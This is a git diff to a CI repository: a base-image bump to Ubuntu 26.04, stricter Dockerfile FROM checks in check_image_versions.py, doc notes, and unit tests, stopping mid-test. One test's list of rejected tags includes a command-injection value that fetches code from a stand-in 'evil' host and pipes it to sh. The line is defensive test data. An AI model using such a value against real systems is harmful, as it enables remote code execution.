diff --git a/CLAUDE.md b/CLAUDE.md index b803488..6bc6ced 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -64,7 +64,10 @@ protection, or create tags: those are the operator's. - kaniko runs inside the job container and unpacks the image it builds over it, so each matrix entry names its job container (`job_image: ubuntu:@sha256:...`) and its release must equal the `FROM ubuntu:` release of the image's Dockerfile (`check_image_versions.py pins` fails otherwise; run 2529 broke a 24.04 build in a - 26.04 job container). Moving an image to a new release moves both in one edit. + 26.04 job container). Moving an image to a new release is one edit: the Dockerfile `FROM`, the `job_image` + tag and digest, and the version bump. Digest drift within a release is tolerated. A `job_image`-only bump is + not an image input: no version bump, nothing rebuilt; the post-merge Images run only reaches the prepare step + for published versions, so that is its only exercise. - Each pushed layer must stay below 100 MB: Cloudflare rejects larger request bodies with HTTP 413. That is why the `ci` image deletes the Go toolchains from the hook cache. - `image.yml` tries the job token first with a write probe; Gitea 28 refuses it for the org's packages diff --git a/images/ci/Dockerfile b/images/ci/Dockerfile index 0797001..b4e7aae 100644 --- a/images/ci/Dockerfile +++ b/images/ci/Dockerfile @@ -30,8 +30,7 @@ # Layers: each COPY / RUN below is one layer, and a layer is pushed as one request, # so it must stay below Cloudflare's 100 MB request-body limit on git.rkdr.net. The # build stage prints the sizes it will copy; the first push is the real test. -# Base image: ubuntu:24.04 index digest as of 2026-10-24 (24.04.5), same as the -# molecule image. +# Base image: ubuntu:26.04 index digest as of 2026-10-26, same as molecule-ubuntu2604. FROM ubuntu:26.04@sha256:c098726dd9b9733f3e885f8de0ef375206a311b0a317eadc40d347b1115fb944 AS os diff --git a/scripts/check_image_versions.py b/scripts/check_image_versions.py index a4acd92..03f29d4 100644 --- a/scripts/check_image_versions.py +++ b/scripts/check_image_versions.py @@ -6,7 +6,7 @@ python3 scripts/check_image_versions.py bump The matrix of .gitea/workflows/image.yml is the registry of images: name, version, -build context (subpath) and Dockerfile. A published version tag is never moved (Gitea +build context (subpath), Dockerfile and job container (job_image). A published version tag is never moved (Gitea cannot make a tag immutable), so an image whose content changes under an unchanged version is pushed as sha-*/latest only, and a hand-pasted @ pin would pair a tag with a digest it does not point to. @@ -190,6 +190,9 @@ def matrix_of(text): matrix[name] = {"version": values["version"], "subpath": values.get("subpath", ""), "dockerfile": values["dockerfile"]} if "job_image" in values: + if (keys["job_image"][0] or "").strip()[:1] in "\"'": + raise CheckError(f"{MATRIX_FILE}: image '{name}': job_image must be written unquoted " + "(the bot-diff guard and Renovate read the plain form)") matrix[name]["job_image"] = values["job_image"] return matrix @@ -317,23 +320,41 @@ def check_pins(matrix, consumer_texts): JOB_IMAGE_RE = re.compile(r"ubuntu:(?P[0-9]+\.[0-9]+)@sha256:[0-9a-f]{64}") -CONTAINER_LINE_RE = re.compile(r"^\s*image:\s*\$\{\{\s*matrix\.job_image\s*\}\}\s*$", re.MULTILINE) +CONTAINER_LINE_RE = re.compile(r"^\s*container:[ \t]*\n\s*image:\s*\$\{\{\s*matrix\.job_image\s*\}\}[ \t]*$", re.MULTILINE) +UBUNTU_NAMES = ("ubuntu", "library/ubuntu", "docker.io/library/ubuntu") def dockerfile_releases(dockerfile_text): - """The `ubuntu:` tags of the FROM lines of a Dockerfile (stage references are skipped).""" - releases = [] - for unused, line in _instructions(dockerfile_text): + """(releases, problems) of a Dockerfile's FROM lines: the `ubuntu:` tag of each external + base, and a message for every FROM this check cannot vouch for. kaniko unpacks every stage over + the job container, so a base that is not Ubuntu, or whose name or tag holds a variable, is a problem. + A reference to an earlier stage (`FROM os AS final`) is skipped.""" + releases, problems, stages = [], [], set() + for lineno, line in _instructions(dockerfile_text): parts = line.split() if not parts or parts[0].upper() != "FROM": continue refs = [p for p in parts[1:] if not p.startswith("--")] if not refs: continue - name, unused, tag = refs[0].split("@")[0].partition(":") - if name == "ubuntu": - releases.append(tag) - return releases + ref = refs[0] + if len(refs) >= 3 and refs[1].upper() == "AS": + alias = refs[2].lower() + else: + alias = None + if ref.lower() in stages: + pass + elif "$" in ref: + problems.append(f"line {lineno}: FROM {ref} holds a variable, so its release cannot be read") + else: + name, unused, tag = ref.split("@")[0].partition(":") + if name in UBUNTU_NAMES: + releases.append(tag) + else: + problems.append(f"line {lineno}: FROM {ref} is not an Ubuntu base") + if alias: + stages.add(alias) + return releases, problems def check_job_images(matrix, read_file, workflow_text): @@ -352,15 +373,17 @@ def check_job_images(matrix, read_file, workflow_text): continue path = str(pathlib.PurePosixPath(entry["subpath"]) / entry["dockerfile"]) if entry["subpath"] else entry["dockerfile"] try: - releases = dockerfile_releases(read_file(path)) + releases, problems = dockerfile_releases(read_file(path)) except OSError as exc: errors.append(f"image '{name}': cannot read {path}: {exc}") continue + errors += [f"image '{name}': {path} {problem}" for problem in problems] if not releases: errors.append(f"image '{name}': {path} has no `FROM ubuntu:` line") for release in sorted(set(releases) - {job["release"]}): errors.append(f"image '{name}': {path} builds on ubuntu:{release} but its job_image is ubuntu:{job['release']}; " - "kaniko unpacks the image over the job container, so the two releases must be equal") + "kaniko unpacks the image over the job container, so the two releases must be equal: edit the " + f"FROM lines of {path} and job_image (tag and digest) in {MATRIX_FILE} in the same pull request") return errors diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py index c353d85..0fb6840 100644 --- a/tests/scripts/test_check_bot_pr_diff.py +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -77,6 +77,14 @@ class RuleTest(unittest.TestCase): for path, old, new in cases: self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + def test_job_image_lines_cannot_be_added_removed_or_moved(self): + path = ".gitea/workflows/image.yml" + line = f" job_image: ubuntu:24.04@{D1}" + for old, new in ((line, ""), (" version: 0.2.0", f" version: 0.2.0\n{line}"), + (" steps:", f" steps:\n{line}")): + self.assertIsNotNone(self.problem(path, old, new), (old, new)) + self.assertIsNotNone(self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"')) + def test_tag_charset_is_restricted(self): bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"] for tag in bad_tags: diff --git a/tests/scripts/test_check_image_versions.py b/tests/scripts/test_check_image_versions.py index 65d868a..ad82366 100644 --- a/tests/scripts/test_check_image_versions.py +++ b/tests/scripts/test_check_image_versions.py @@ -240,7 +240,7 @@ class PureTest(unittest.TestCase): self.assertEqual(len(errors), 1) self.assertIn("builds on ubuntu:26.04 but its job_image is ubuntu:24.04", errors[0]) files["images/ci/Dockerfile"] = "FROM debian:12\n" - self.assertIn("no `FROM ubuntu:` line", civ.check_job_images(matrix, read, text)[0]) + self.assertIn("FROM debian:12 is not an Ubuntu base", civ.check_job_images(matrix, read, text)[0]) files["images/ci/Dockerfile"] = f"FROM {JOB} AS os\n" self.assertEqual(civ.check_job_images(matrix, read, text.replace("matrix.job_image", "matrix.other")), [".gitea/workflows/image.yml: the job container must be " @@ -254,6 +254,35 @@ class PureTest(unittest.TestCase): self.assertEqual(len(errors), 1, errors) self.assertIn("job_image in .gitea/workflows/image.yml must be ubuntu:@sha256:", errors[0]) + def test_dockerfile_releases_fail_closed(self): + digest = DIGEST + cases = { + f"FROM --platform=linux/amd64 ubuntu:26.04@{digest} AS a\nFROM a AS b\n": (["26.04"], 0), + f"FROM docker.io/library/ubuntu:24.04@{digest}\n": (["24.04"], 0), + f"FROM ubuntu:24.04 AS ubuntu\nFROM ubuntu AS x\n": (["24.04"], 0), + f"FROM golang:1.22 AS b\nFROM ubuntu:24.04\n": (["24.04"], 1), + "ARG B=ubuntu:26.04\nFROM ubuntu:24.04 AS a\nFROM ${B} AS b\n": (["24.04"], 1), + "FROM ubuntu:${REL}\n": ([], 1), + "FROM ubuntu:24.04\nRUN <